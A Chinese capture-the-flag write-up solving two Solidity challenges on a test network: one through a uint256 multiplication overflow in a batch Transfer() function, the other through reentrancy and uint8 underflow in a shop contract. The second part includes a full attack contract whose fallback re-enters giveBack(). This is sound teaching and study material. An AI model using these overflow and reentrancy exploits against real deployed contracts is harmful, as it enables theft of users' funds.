目录
坚固性?!
tags:
- 智能合约的部署等基本操作
- Solidity uint 上溢出
下载附件,给了题目源码以及地址,审计源码:
首先有个 getFlag() 函数:
function getFlag() public view returns (string){
require(balances[msg.sender] > 9999999);
return flag;
}
很明显需要通过攻击合约让自己的 balance
变大,继续审计其他函数,发现只有 Transfer() 有对 balance 的操作:
function Transfer(address[] _addr, uint256 _value) public returns (bool){
uint times = _addr.length;
uint256 amount = uint256(times) * _value;
require(_value > 0 && balances[msg.sender] >= amount);
require(times > 0 && times < 10);
balances[msg.sender] -= amount;
for(uint i = 0; i < times; i++){
balances[_addr[i]] += _value;
}
return true;
}
Transfer() 函数支持给不多于10个账户打钱,打钱的总数 amount
是由收钱账户的个数乘以参数 _value
算出,最后打钱账户扣除 amount
单位的余额。这个过程中的操作都是用符号操作而没有用 safeMath,再加上合约没有判断 amount
是否会溢出,因此可以构造条件使得 uint256
类型的 amount
超出表达范围而溢出。
uint256
类型能表示的范围是 0 ~ ((2 ** 256) - 1)
,因此我们可以让 amount
大于 ((2 ** 256) - 1)
。
以我的 Ropsten
地址 0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110
举例,我们一开始可以通过调用 getBalance()
函数白嫖到 100 balance
,再调用转账函数 Transfer()
,参数分别为 ["0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110","0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c"]
和 57896044618658097711785492504343953926634992332820282019728792003956564819968
,其中第一个参数的第二个地址随意填写,只要满足地址格式即可,第二个参数的值为 2 ** 255
,这样合约接收到交易后,计算的 amount
为 2 * (2 ** 255) = 2 ** 256
大于能表示的最大值,因此此时的 amount
的值溢出为 0
,合约可以顺利执行扣费(扣除 0),并给两个地址的 balance 加上 2 ** 255
,执行 getFlag() 即可。

得到的 flag 是16 进制,转成 ascii 码即可提交。

提供暴打出题人服务!
tags:
- 重入攻击
- 下溢出
这题对比上一题就略显复杂,附件中还是给了源码和地址,先审计 getFlag()
:
function getFlag() public view returns (string){
if(users[msg.sender][5] >= 1){
return flag;
}
else{
return "%e7%88%ac%ef%bc%81";
}
}
拿到 flag 的条件是拥有 users[msg.sender][5]
,再回头去找 users
的定义:
mapping (address => mapping(uint8 => uint8))users;
此外,还有个全局变量 goods
的定义:
struct good{
string name;
uint256 value;
}
mapping (uint8 => good) goods;
注意变量的类型(uint8 和 uint256)结合上合约名小卖部,可以推测 goods
是用来存储商品的,而 users
可能是存储每个用户持有的商品数量。其中 goods
中的内容可以通过 showGoods()
函数查看,具体的对应关系如下:
goods[0].name = "喂龙辣条";
goods[0].value = 1;
goods[1].name = "Taqini的猫猫表情包";
goods[1].value = 0x99;
goods[2].name = "imagin小黑屋的钥匙";
goods[2].value = 0x9999;
goods[3].name = "Taqini独家auto_pwn.py";
goods[3].value = 0x999999;
goods[4].name = "BJD{chui_bao_Taqin!}";
// fake!
goods[4].value = 0x99999999;
goods[5].name = "锤爆Taqini!";
goods[5].value = 0x9999999999;
接着找操作 users
的函数 giveBack()
、giveAllBack()
以及 buy()
,其中giveAllBack()
算是升级版的giveBack()
function buy(uint8 index) public returns (bool){
require(index <= 5 && index >= 0);
uint256 cost = goods[index].value;
require(cost > 0);
require(getCredit(msg.sender) >= cost);
require(getCredit(msg.sender) - cost >= 0);
credit[msg.sender] -= cost;
users[msg.sender][index] += 1;
return true;
}
function giveBack(uint8 index) public returns (bool){
require (index <= 5);
require (users[msg.sender][index] > 0);
uint256 price = goods[index].value;
require (address(this).balance > price);
if(price > 10000 wei){
price = 1 wei;
// 中间商 Taqini 赚差价~
}
msg.sender.call.value(1)();
users[msg.sender][index] --;
transfer(this, msg.sender, price);
}
buy()
函数可以让我们购买某一项商品,而 giveBack()
是把商品退回并返回余额。值得注意的是 giveBack()
是先给用户退钱,再让用户的商品存储变化,这就提供了重入攻击的机会。用合约去操作giveBack()
函数,当执行到 msg.sender.call.value(1)();
并开始打钱时会调用合约的 fallback()
函数,在 fallback()
函数中我们可以再次调用 giveBack()
。由于一开始我们只有一个单位的商品库存,正常调用giveBack()
函数会使库存 –,变为 0,再次调用再次 –,会造成下溢出,变为 uint8
的最大值 255,将货物卖出即可。
部署攻击合约:
pragma solidity ^0.4.23;
// Author : imagin
// Blog : https://imagin.vip/
// Filename : exp.sol
import "Taqini.sol";
contract exp{
XiaoMaiBu x;
uint8 num;
uint8 times;
constructor (address addr){
x = XiaoMaiBu(addr);
}
function getFlag() public payable returns (string){
x.deposit.value(1)();
for(uint8 i = 0; i < 5; i++){
num = i;
attack();
attack();
}
x.buy(5);
return x.getFlag();
}
function flag() public view returns (string){
return x.getFlag();
}
function attack() public payable{
times = 1;
x.buy(num);
x.giveBack(num);
x.giveAllBack(num);
}
function getMyCredit() public view returns (uint256){
return x.getCredit(this);
}
function getMyGood(uint8 index) public view returns (uint8){
return x.getMyGood(index);
}
function() public payable{
if(times > 0){
times --;
x.giveBack(num);
}
}
}
将攻击合约部署到题目的合约地址上,执行 getFlag()
函数并支付 1 wei 即可获得 flag。

